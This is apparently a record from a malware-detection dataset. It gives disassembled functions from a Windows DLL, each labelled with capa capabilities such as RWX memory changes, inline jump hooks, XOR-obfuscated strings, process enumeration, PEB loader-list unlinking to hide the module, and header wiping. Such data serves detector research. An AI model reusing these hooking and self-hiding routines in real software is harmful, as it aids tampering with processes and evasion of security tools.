joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002a00
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1001fb30
push 0x10018299
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x10023018]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, ecx
mov ebx, edx
mov dword [ebp - 4], 0
lea eax, [edi + 5]
push eax
call dword [sym.imp.MSVCR100.dll_malloc]
add esp, 4
mov esi, eax
lea eax, [ebp - 0x20]
push eax
push 0x40
lea eax, [edi + 5]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 0x20]
push ecx
push 0x40
lea eax, [edi + 5]
push eax
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push ebx
push esi
call sub.MSVCR100.dll_memcpy
add esp, 0xc
add esi, edi
mov byte [esi], 0xe9
mov eax, ebx
sub eax, esi
lea ecx, [eax + edi - 5]
mov dword [esi + 1], ecx
lea edx, [ebp - 0x1c]
push edx
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov byte [ebx], 0xe9
mov eax, dword [ebp + 8]
sub eax, ebx
sub eax, 5
mov dword [ebx + 1], eax
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
sub esi, edi
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10002b10
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push edi
push 0xf
call dword [sym.imp.MSVCR100.dll_malloc]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 4
mov edi, eax
lea eax, [ebp - 8]
push eax
push 0x40
push 0xf
push edi
call ebx
lea ecx, [ebp - 8]
push ecx
push 0x40
push 0xf
push 0x10010f50
call ebx
mov edx, dword [esi]
mov dword [edi], edx
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov cx, word [esi + 8]
mov word [edi + 8], cx
lea eax, [ebp - 4]
push eax
add edi, 0xa
push 0x40
mov edx, esi
sub edx, edi
push 0xa
add edx, 5
push esi
mov byte [edi], 0xe9
mov dword [edi + 1], edx
call ebx
mov eax, dword [ebp - 4]
lea edx, [ebp - 4]
push edx
push eax
mov ecx, 0x10010f50
sub ecx, esi
push 0xa
sub ecx, 5
push esi
mov byte [esi], 0xe9
mov dword [esi + 1], ecx
call ebx
push 0xa
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [edi - 0xa]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002bb0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push esi
push edi
call ebx
mov ecx, dword [ebp + 8]
push esi
push ecx
push edi
call dword [sym.imp.MSVCR100.dll_memmove]
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 8]
push edx
push eax
push esi
push edi
call ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10002c00
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 6
push esi
call edi
push 6
push 0x100032f0
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
mov edx, dword [ebp - 4]
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push edx
push 6
push esi
call edi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10002c40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1001fb10
push 0x10018299
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x10023018]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov esi, ecx
mov edi, 6
mov dword [ebp - 4], 0
lea eax, [ebp - 0x28]
push eax
push 0x40
push edi
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
mov eax, 0x100032e0
sub eax, esi
sub eax, 5
mov byte [esi], 0xe9
mov dword [esi + 1], eax
mov eax, 5
mov dword [ebp - 0x1c], eax
cmp eax, edi
jae 0x10002cb4
mov byte [eax + esi], 0x90
inc eax
jmp 0x10002ca6
mov eax, 5
mov dword [ebp - 0x20], eax
cmp eax, edi
jae 0x10002cc7
mov byte [eax + esi], 0x90
inc eax
jmp 0x10002cb9
mov eax, 5
mov dword [ebp - 0x24], eax
cmp eax, edi
jae 0x10002cda
mov byte [eax + esi], 0x90
inc eax
jmp 0x10002ccc
lea ecx, [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x28]
push edx
push edi
push esi
call ebx
jmp 0x10002cf1
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002d10
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x130
mov eax, dword [0x10023018]
xor eax, esp
mov dword [esp + 0x12c], eax
push ebx
push esi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10002d61
push str.Error:_Unable_to_create_toolhelp_snapshot_
call dword [sym.imp.MSVCR100.dll_printf]
add esp, 4
xor eax, eax
pop esi
pop ebx
mov ecx, dword [esp + 0x12c]
xor ecx, esp
call fcn.10017c55
mov esp, ebp
pop ebp
ret
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x10002d4b
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
nop
mov ecx, edi
lea eax, [esp + 0x2c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10002da6
test dl, dl
je 0x10002da2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10002da6
add eax, 2
add ecx, 2
test dl, dl
jne 0x10002d86
xor eax, eax
jmp 0x10002dab
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10002dcf
lea ecx, [esp + 8]
push ecx
push esi
call ebx
test eax, eax
jne 0x10002d80
pop esi
pop ebx
mov ecx, dword [esp + 0x12c]
xor ecx, esp
call fcn.10017c55
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x134]
mov eax, dword [esp + 0x10]
pop esi
pop ebx
xor ecx, esp
call fcn.10017c55
mov esp, ebp
pop ebp
ret

Function at 0x10002df0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, eax
cmp edi, 0x1000
jbe 0x10002e3a
push esi
push 0xa
call dword [sym.imp.MSVCR100.dll_void____cdecl_operator_new___unsigned_int_]
add esp, 4
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x40
push 0xa
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [edi]
mov dword [esi], ecx
mov dl, byte [edi + 4]
mov byte [esi + 4], dl
add esi, 5
sub edi, esi
mov dword [esi + 1], edi
mov byte [esi], 0xe9
lea eax, [esi - 5]
pop esi
pop edi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10002e50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1001faf0
push 0x10018299
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x10023018]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov esi, ecx
mov ebx, 5
mov dword [ebp - 4], 0
cmp esi, 0x1000
jbe 0x10002eeb
mov eax, 0x1000e720
cmp eax, 0x1000
jbe 0x10002eeb
lea ecx, [ebp - 0x20]
push ecx
push 0x40
push ebx
push esi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call edi
mov eax, 0x1000e720
sub eax, esi
sub eax, ebx
mov byte [esi], 0xe9
mov dword [esi + 1], eax
mov eax, ebx
mov dword [ebp - 0x1c], eax
cmp eax, ebx
jae 0x10002ed4
mov byte [eax + esi], 0x90
inc eax
jmp 0x10002ec6
lea edx, [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x20]
push eax
push ebx
push esi
call edi
jmp 0x10002eeb
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10008340
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10018c28
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x10023018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edx, edx
mov ecx, 0x49
xor eax, eax
mov bl, byte [eax + 0x1001cc94]
xor bl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x30], bl
jns 0x1000838f
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1c
jl 0x10008372
mov byte [ebp - 0x14], dl
mov dword [ebp - 4], edx
mov ecx, dword [0x1011f940]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x30]
push edx
call eax
add eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov eax, dword [eax + ecx*4]
add eax, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10017c55
mov esp, ebp
pop ebp
ret 8

Function at 0x100085c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10018bb8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x10023018]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edx, edx
mov ecx, 0x1f
xor eax, eax
mov bl, byte [eax + str.Vfira_nuINF_OY]
xor bl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x2c], bl
jns 0x1000860f
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x17
jl 0x100085f2
mov byte [ebp - 0x15], dl
mov dword [ebp - 4], edx
mov ecx, dword [0x1011f940]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x2c]
push edx
call eax
mov ecx, dword [ebp + 8]
mov eax, dword [eax + ecx + 0xc]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10017c55
mov esp, ebp
pop ebp
ret 4

Function at 0x10008aa0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10018ab8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x10023018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, 0x31
xor eax, eax
nop
mov dl, byte [eax + str.xtdw]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x2c], dl
jns 0x10008aed
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1b
jl 0x10008ad0
mov byte [ebp - 0x11], 0
mov dword [ebp - 4], 0
mov ecx, dword [0x1011f940]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x2c]
push edx
call eax
mov ecx, dword [ebp + 8]
mov eax, dword [eax + ecx + 0xc]
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10017c55
mov esp, ebp
pop ebp
ret 4
Function at 0x10009b60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10018930
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x10023018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov ecx, 0x74
xor eax, eax
mov dl, byte [eax + 0x1001c5a4]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x24], dl
jns 0x10009bb1
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x13
jl 0x10009b94
mov byte [ebp - 0x11], bl
mov dword [ebp - 4], ebx
mov ecx, dword [0x1011f940]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x24]
push edx
call eax
mov esi, eax
push 4
push esi
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], ebx
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
test eax, eax
jne 0x10009c26
lea ecx, [ebp - 0x3c]
push ecx
push 0x40
push 4
push esi
call edi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea edx, [ebp - 0x44]
push edx
push 4
lea eax, [ebp - 0x40]
push eax
push esi
call edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [ebp - 0x3c]
lea ecx, [ebp - 0x3c]
push ecx
push edx
push 4
push esi
call edi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov ecx, 0x44
mov dl, byte [eax + 0x1001dab0]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x38], dl
jns 0x10009c5f
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x13
jl 0x10009c42
mov byte [ebp - 0x25], bl
mov dword [ebp - 4], 1
mov ecx, dword [0x1011f940]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x38]
push edx
call eax
mov esi, eax
push 4
push esi
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], ebx
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10009cd8
lea ecx, [ebp - 0x3c]
push ecx
push 0x40
push 4
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push eax
call ebx
lea edx, [ebp - 0x44]
push edx
push 4
lea eax, [ebp - 0x40]
push eax
push esi
call edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [ebp - 0x3c]
lea ecx, [ebp - 0x3c]
push ecx
push edx
push 4
push esi
call edi
push eax
call ebx
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x48]
jmp 0x10009cde
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10017c55
mov esp, ebp
pop ebp
ret
Function at 0x1000e8d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10019058
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x10023018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x1011fca4], 0
jne 0x1000e928
cmp dword [0x1011fcd4], 0
jne 0x1000e928
cmp dword [0x1011fbc0], 0
jne 0x1000e928
cmp dword [0x1011fca8], 0
jne 0x1000e928
cmp dword [0x1011fbcc], 0
je 0x1000e9a0
call fcn.1000a180
test al, al
je 0x1000e9a0
cmp dword [0x1011bd84], 0
jne 0x1000e975
mov edi, 0x1a6d28eb
lea esi, [ebp - 0x34]
call fcn.10015d70
mov dword [ebp - 4], 0
mov ecx, dword [0x1011f940]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 0x28]
call eax
call fcn.10002df0
mov dword [0x1011bd84], eax
mov dword [ebp - 4], 0xffffffff
test eax, eax
je 0x1000ea07
mov edi, 0x1a6d28eb
lea esi, [ebp - 0x34]
call fcn.10015d70
mov dword [ebp - 4], 1
mov ecx, dword [0x1011f940]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 0x28]
call eax
mov ecx, eax
call fcn.10002e50
jmp 0x1000ea07
mov ebx, dword [0x1011bd84]
test ebx, ebx
je 0x1000ea07
mov edi, 0x1a6d28eb
lea esi, [ebp - 0x34]
call fcn.10015d70
mov dword [ebp - 4], 2
mov ecx, dword [0x1011f940]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 0x28]
mov edi, ebx
call eax
mov esi, eax
cmp esi, 0x1000
jbe 0x1000ea07
test edi, edi
je 0x1000ea07
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 0x38]
push ecx
push 0x40
push 5
push esi
call ebx
push 5
push edi
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
mov eax, dword [ebp - 0x38]
add esp, 0xc
lea edx, [ebp - 0x38]
push edx
push eax
push 5
push esi
call ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10017c55
mov esp, ebp
pop ebp
ret
Function at 0x1000f580
Capabilities:
Allocate or change rwx memory
Encrypt data using rc4 prga
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10019018
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x10023018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, 0xba
xor eax, eax
mov dl, byte [eax + 0x1001d7ac]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x2c], dl
jns 0x1000f5ce
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x18
jl 0x1000f5b1
mov byte [ebp - 0x14], 0
mov dword [ebp - 4], 0
mov ecx, dword [0x1011f940]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x2c]
push edx
call eax
mov esi, eax
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x14], al
test esi, esi
je 0x1000f67e
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp dword [0x1011fd04], eax
je 0x1000f645
lea ecx, [ebp - 0x30]
push ecx
push 0x40
push 8
push esi
call edi
mov ecx, dword [ebp - 0x30]
lea eax, [ebp - 0x30]
push eax
push ecx
mov edx, 0x1000f570
sub edx, esi
push 8
sub edx, 5
push esi
mov byte [esi], 0xe9
mov dword [esi + 1], edx
call edi
jmp 0x1000f67e
lea edx, [ebp - 0x30]
push edx
push 0x40
push 5
push esi
call edi
push 5
push 0x1001e374
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
mov ecx, dword [ebp - 0x30]
add esp, 0xc
lea eax, [ebp - 0x34]
push eax
push ecx
push 5
push esi
call edi
push 5
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10017c55
mov esp, ebp
pop ebp
ret
Function at 0x10011d50
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov ecx, dword [eax + 0xc]
mov eax, dword [ecx + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x10011dbb
push esi
cmp ecx, edx
jne 0x10011db1
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x10011d73
mov esi, dword [eax]
mov dword [ecx], esi
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x10011d7f
mov esi, dword [eax]
mov dword [esi + 4], ecx
mov ecx, dword [eax + 0x14]
test ecx, ecx
je 0x10011d8b
mov esi, dword [eax + 0x10]
mov dword [ecx], esi
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x10011d98
mov esi, dword [eax + 0x14]
mov dword [ecx + 4], esi
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x10011da4
mov esi, dword [eax + 0xc]
mov dword [esi], ecx
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x10011db1
mov esi, dword [eax + 0xc]
mov dword [ecx + 4], esi
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x10011d64
pop esi
ret

Function at 0x10011dc0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 8]
push ecx
push 0x40
push edx
push eax
call edi
push 0xc8
push 0
push esi
call sub.MSVCR100.dll_memset
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
add esp, 0xc
push 0
push ecx
push edx
push eax
call edi
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10012d20
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10019ea8
mov eax, dword fs:[0]
push eax
sub esp, 0x68
mov eax, dword [0x10023018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov ecx, 0x86
xor eax, eax
mov dl, byte [eax + 0x1001e5dc]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x40], dl
jns 0x10012d71
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x12
jl 0x10012d54
mov byte [ebp - 0x2e], bl
sub esp, 0x1c
mov dword [ebp - 4], ebx
mov esi, esp
lea eax, [ebp - 0x40]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [ebp - 0x74], esp
mov byte [esi], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012d98
sub eax, edx
mov edi, eax
lea eax, [ebp - 0x40]
call fcn.100011b0
mov ecx, 0x88
xor eax, eax
mov dl, byte [eax + 0x1001e5f0]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x2c], dl
jns 0x10012dcf
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x11
jl 0x10012db2
mov byte [ebp - 0x1b], 0
sub esp, 0x1c
mov byte [ebp - 4], 2
mov esi, esp
lea eax, [ebp - 0x2c]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [ebp - 0x14], esp
mov byte [esi], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012df8
sub eax, edx
mov edi, eax
lea eax, [ebp - 0x2c]
call fcn.100011b0
mov byte [ebp - 4], 3
call fcn.10012720
add esp, 0x38
cmp eax, 0x94000100
jne 0x10012e5d
mov ecx, 0x1001e604
sub ecx, 0x7fc956e8
lea eax, [ebp - 0x18]
call fcn.10016880
mov edi, 0x1001e60c
sub edi, 0xde3aec7
lea esi, [ebp - 0x70]
mov ebx, eax
call fcn.10016840
push 0x40010
push ebx
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10017c55
mov esp, ebp
pop ebp
ret
Function at 0x10013750
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x1001378a
push esi
mov esi, dword [ebp + 8]
mov edx, esi
call fcn.10011d50
call fcn.10011dc0
push 0
push 0
push esi
push 0x10013720
push 0
push 0
call dword [sym.imp.MSVCR100.dll__beginthreadex]
add esp, 0x18
mov eax, 1
pop esi
pop ebp
ret 0xc
xor eax, eax
pop ebp
ret 0xc